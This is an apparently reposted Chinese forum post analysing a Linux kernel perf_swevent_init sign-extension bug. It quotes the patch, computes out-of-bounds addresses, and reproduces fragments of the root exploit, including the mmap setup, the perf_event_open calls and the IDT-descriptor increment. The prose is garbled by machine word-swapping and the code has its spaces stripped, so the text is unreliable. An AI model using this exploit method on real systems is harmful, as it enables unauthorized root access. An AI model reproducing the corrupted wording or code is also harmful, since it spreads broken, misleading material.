|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
系统做了些什么,这需要时间去掌握,(背命令不是一件好的学习方法,相信我你一定会在你背完之前全部忘光),尽量掌握常用命令;
比来Linux内核爆出了一个严峻的平安毛病,非root用户能够经由过程该毛病的exploit猎取root权限。这其实不稀有,值得一提的是这个补钉看起来云云寻常以致于我们尽年夜多半人都不会觉得这是平安成绩。
先看这个成绩的补钉,就是上面这个:- staticintperf_swevent_init(structperf_event*event){- intevent_id=event->attr.config;+ u64event_id=event->attr.config;if(event->attr.type!=PERF_TYPE_SOFTWARE)return-ENOENT;
复制代码 我们第一眼的感到就是这也许只是修复了编译器报的一个小告诫吧,怎样会引发云云严峻的平安成绩呢?
在没打补钉的代码中event_id是个带标记的整型,并且就鄙人面不远处的两行代码中只反省了其上界:
PLAINTEXTC:
- if(event_id>=PERF_COUNT_SW_MAX)
- return-ENOENT;
而假如传送出去的event->attr.config值恰好设置了标记位,那末event_id就会酿成负值,并且能躲过下面的反省。
负值意味着甚么呢?再持续看前面的代码:
PLAINTEXTC:
- if(!event->parent){
- interr;
- err=swevent_hlist_get(event);
- if(err)
- returnerr;
- atomic_inc(&perf_swevent_enabled[event_id]);
- event->destroy=sw_perf_event_destroy;
- }
意味着数组越界!这时候你应当身上入手下手冒盗汗了。持续,数组perf_swevent_enabled[]在RHEL6上的界说是:
PLAINTEXTC:
- atomic_tperf_swevent_enabled[PERF_COUNT_SW_MAX];
而atomic_t基础上就是int,也就是说perf_swevent_enabled[]是整型数组,那末用event_id会见该数组时会把event_id的值乘以4再加上数组的肇端地点。很复杂哈!
好,经由过程System.map文件我们能够失掉perf_swevent_enabled的地点:- ffffffff81f360c0Bperf_swevent_enabled
复制代码 那末当event->attr.config==0xffffffff(即有标记的-1)时,在x86_64下面我们终极会失掉:- 0xffffffffffffffff*4+0xffffffff81f360c0==0xFFFFFFFF81F360BC
复制代码 同理,当event->attr.config==0xfffffffe时我们失掉:- 0xfffffffffffffffe*4+0xffffffff81f360c0==0xFFFFFFFF81F360B8
复制代码 以是上述的atomic_inc()实在增添的是后面两个地点中寄存的值,而这俩地点都指向内核空间(拜见Documentation/x86/x86_64/mm.txt)!这时候你应当感应严重了。。。
前面更风趣的事变产生在sw_perf_event_destroy()函数中,它是在perf_event_open()前往的fd被封闭时被挪用,RHEL6上其界说以下:
PLAINTEXTC:
- staticvoidsw_perf_event_destroy(structperf_event*event)
- {
- u64event_id=event->attr.config;
- WARN_ON(event->parent);
- atomic_dec(&perf_swevent_enabled[event_id]);
- swevent_hlist_put(event);
- }
很分明的分歧是,event_id此次是无标记的范例。那末,同上,当event->attr.config==0xffffffff时我们失掉:- 0xffffffff*4+0xffffffff81f360c0==0x0000000381F360BC
复制代码 当event->attr.config==0xfffffffe时我们失掉:- 0xfffffffe*4+0xffffffff81f360c0==0x0000000381F360B8
复制代码 以是这里的atomic_dec()实践上减小的是用户空间地点内的值。
下面是“基本常识”,带着这些常识我们看exploit代码事实做了甚么,代码片断以下:
PLAINTEXTC:
- #defineBASE0x380000000
- #defineSIZE0x010000000
- assert((map=mmap((void*)BASE,SIZE,3,0x32,0,0))==(void*)BASE);
- memset(map,0,SIZE);
- sheep(-1);sheep(-2);//sheepwilljustinvokeperf_event_open
- //syscallwithattr.configsettotheparam
- for(i=0;i<SIZE/4;i++)if(map){
- assert(map[i+1]);
- break;
- }
它起首会mmap()肇端地点是0x380000000的一块内存地区。然后分离以attr.config为-1和-2挪用两次perf_event_open()。依据后面的盘算,它实践上分离增添了0xFFFFFFFF81F360BC和0xFFFFFFFF81F360B8两处内存的值,削减了0x0000000381F360BC和0x0000000381F360B8的值。前面的for轮回则是找出被削减的内存地点,如许一来也就能够算出perf_swevent_enabled[]数组的地点(System.map其实不老是存在,假如存在并且可读我们固然能够间接往读这个值)。
晓得这个地点我们就能够利用内核中某处的32bit的值,把其值加一。正由于云云,作者奇妙地选择了中止形貌符表——一个16字节形貌符的数组,它的地点能够经由过程sidt指令猎取。它个中的形貌符布局界说以下:- OffsetSizeDescription02Offsetlowbits(0..15)22Selector(Codesegmentselector)41Zero51TypeandAttributes(sameasbefore)62Offsetmiddlebits(16..31)84Offsethighbits(32..63)124Zero
复制代码 这里最风趣的是offset为8的中央,在x86_64下面其值为0xffffffff。作者选择的中止形貌符是0x4,以是相对中止形貌符表它的偏移实践上是0x48。如今的义务就成了经由过程perf_swevent_enabled[]来盘算出该中止形貌符中偏移为8的内存地点,并对其加一!上面的代码就是做的这个事情:
PLAINTEXTC:
- sheep(-i+(((idt.addr&0xffffffff)-0x80000000)/4)+16);
对于linux命令,一定要学会用man和info去查他们的解释; |
|